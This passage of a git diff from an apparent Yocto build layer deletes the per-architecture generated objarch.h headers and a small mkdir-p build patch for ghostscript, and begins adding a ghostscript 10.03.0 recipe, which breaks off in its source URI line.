-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/i686 b/meta/recipes-extended/ghostscript/ghostscript/i686
deleted file mode 120000
index 87aaca5903..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/i686
+++ /dev/null
@@ -1 +0,0 @@
-i586 \ No newline at end of file
diff --git a/meta/recipes-extended/ghostscript/ghostscript/microblazeeb/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/microblazeeb/objarch.h
deleted file mode 100644
index 63232fdfa6..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/microblazeeb/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 4
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 1
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/microblazeel/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/microblazeel/objarch.h
deleted file mode 100644
index 3ec8101681..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/microblazeel/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 4
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn32eb/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/mipsarchn32eb/objarch.h
deleted file mode 100644
index 0d0a16bfa3..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn32eb/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 8
-#define ARCH_ALIGN_PTR_MOD 8
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 3
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 8
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 1
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn32el/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/mipsarchn32el/objarch.h
deleted file mode 100644
index a05de29def..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn32el/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 8
-#define ARCH_ALIGN_PTR_MOD 8
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 3
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 8
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn64eb/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/mipsarchn64eb/objarch.h
deleted file mode 100644
index 0d0a16bfa3..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn64eb/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 8
-#define ARCH_ALIGN_PTR_MOD 8
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 3
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 8
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 1
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn64el/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/mipsarchn64el/objarch.h
deleted file mode 100644
index a05de29def..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn64el/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 8
-#define ARCH_ALIGN_PTR_MOD 8
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 3
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 8
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mipsarcho32eb/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/mipsarcho32eb/objarch.h
deleted file mode 100644
index b8b637cca2..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mipsarcho32eb/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 4
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 1
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mipsarcho32el/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/mipsarcho32el/objarch.h
deleted file mode 100644
index 29f90ddf85..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mipsarcho32el/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 4
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch b/meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch
deleted file mode 100644
index 5a7eab1c21..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-ghostscript: allow directories to be created more than once
-
-When doing parallel builds, we might try to create directories
-more than once. This should not cause an error.
-
-Upstream-Status: Pending
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-
---- a/base/unix-end.mak
-+++ b/base/unix-end.mak
-@@ -17,15 +17,14 @@
- UNIX_END_MAK=$(GLSRC)unix-end.mak $(TOP_MAKEFILES)
- # Define the rule for building standard configurations.
- directories: $(UNIX_END_MAK)
-- @if test "$(BINDIR)" != "" -a ! -d $(BINDIR); then mkdir $(BINDIR); fi
-- @if test "$(GLGENDIR)" != "" -a ! -d $(GLGENDIR); then mkdir $(GLGENDIR); fi
-- @if test "$(GLOBJDIR)" != "" -a ! -d $(GLOBJDIR); then mkdir $(GLOBJDIR); fi
-- @if test "$(DEVGENDIR)" != "" -a ! -d $(DEVGENDIR); then mkdir $(DEVGENDIR); fi
-- @if test "$(DEVOBJDIR)" != "" -a ! -d $(DEVOBJDIR); then mkdir $(DEVOBJDIR); fi
-- @if test "$(AUXDIR)" != "" -a ! -d $(AUXDIR); then mkdir $(AUXDIR); fi
-- @if test "$(PSGENDIR)" != "" -a ! -d $(PSGENDIR); then mkdir $(PSGENDIR); fi
-- @if test "$(PSGENDIR)" != "" -a ! -d $(PSGENDIR)/cups; then mkdir $(PSGENDIR)/cups; fi
-- @if test "$(PSOBJDIR)" != "" -a ! -d $(PSOBJDIR); then mkdir $(PSOBJDIR); fi
-+ @if test "$(BINDIR)" != "" -a ! -d $(BINDIR); then mkdir -p $(BINDIR); fi
-+ @if test "$(GLGENDIR)" != "" -a ! -d $(GLGENDIR); then mkdir -p $(GLGENDIR); fi
-+ @if test "$(GLOBJDIR)" != "" -a ! -d $(GLOBJDIR); then mkdir -p $(GLOBJDIR); fi
-+ @if test "$(DEVGENDIR)" != "" -a ! -d $(DEVGENDIR); then mkdir -p $(DEVGENDIR); fi
-+ @if test "$(DEVOBJDIR)" != "" -a ! -d $(DEVOBJDIR); then mkdir -p $(DEVOBJDIR); fi
-+ @if test "$(AUXDIR)" != "" -a ! -d $(AUXDIR); then mkdir -p $(AUXDIR); fi
-+ @if test "$(PSGENDIR)" != "" -a ! -d $(PSGENDIR)/cups; then mkdir -p $(PSGENDIR)/cups; fi
-+ @if test "$(PSOBJDIR)" != "" -a ! -d $(PSOBJDIR); then mkdir -p $(PSOBJDIR); fi
-
-
- gs: .gssubtarget $(UNIX_END_MAK)
diff --git a/meta/recipes-extended/ghostscript/ghostscript/nios2/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/nios2/objarch.h
deleted file mode 100644
index 3ec8101681..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/nios2/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 4
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/powerpc/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/powerpc/objarch.h
deleted file mode 100644
index 359097f356..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/powerpc/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 1
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/powerpc64/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/powerpc64/objarch.h
deleted file mode 100644
index 0d0a16bfa3..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/powerpc64/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 8
-#define ARCH_ALIGN_PTR_MOD 8
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 3
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 8
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 1
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/x86-64/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/x86-64/objarch.h
deleted file mode 100644
index a05de29def..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/x86-64/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 8
-#define ARCH_ALIGN_PTR_MOD 8
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 3
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 8
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb b/meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb
new file mode 100644
index 0000000000..ff7d38676e
--- /dev/null
+++ b/meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb
@@ -0,0 +1,75 @@
+SUMMARY = "The GPL Ghostscript PostScript/PDF interpreter"
+DESCRIPTION = "Ghostscript is used for PostScript/PDF preview and printing. Usually as \
+a back-end to a program such as ghostview, it can display PostScript and PDF \
+documents in an X11 environment. \
+\
+Furthermore, it can render PostScript and PDF files as graphics to be printed \
+on non-PostScript printers. Supported printers include common \
+dot-matrix, inkjet and laser models. \
+"
+HOMEPAGE = "http://www.ghostscript.com"
+SECTION = "console/utils"
+
+LICENSE = "AGPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=f98ffa763e50cded76f49bce73aade16"
+
+DEPENDS = "tiff jpeg fontconfig cups libpng freetype zlib"
+
+UPSTREAM_CHECK_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases"
+UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
+
+def gs_verdir(v):
+ return "".join(v.split("."))
+
+
+SRC_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs${@gs_verdir("${PV}")}/${BPN}-${PV}.tar.gz \
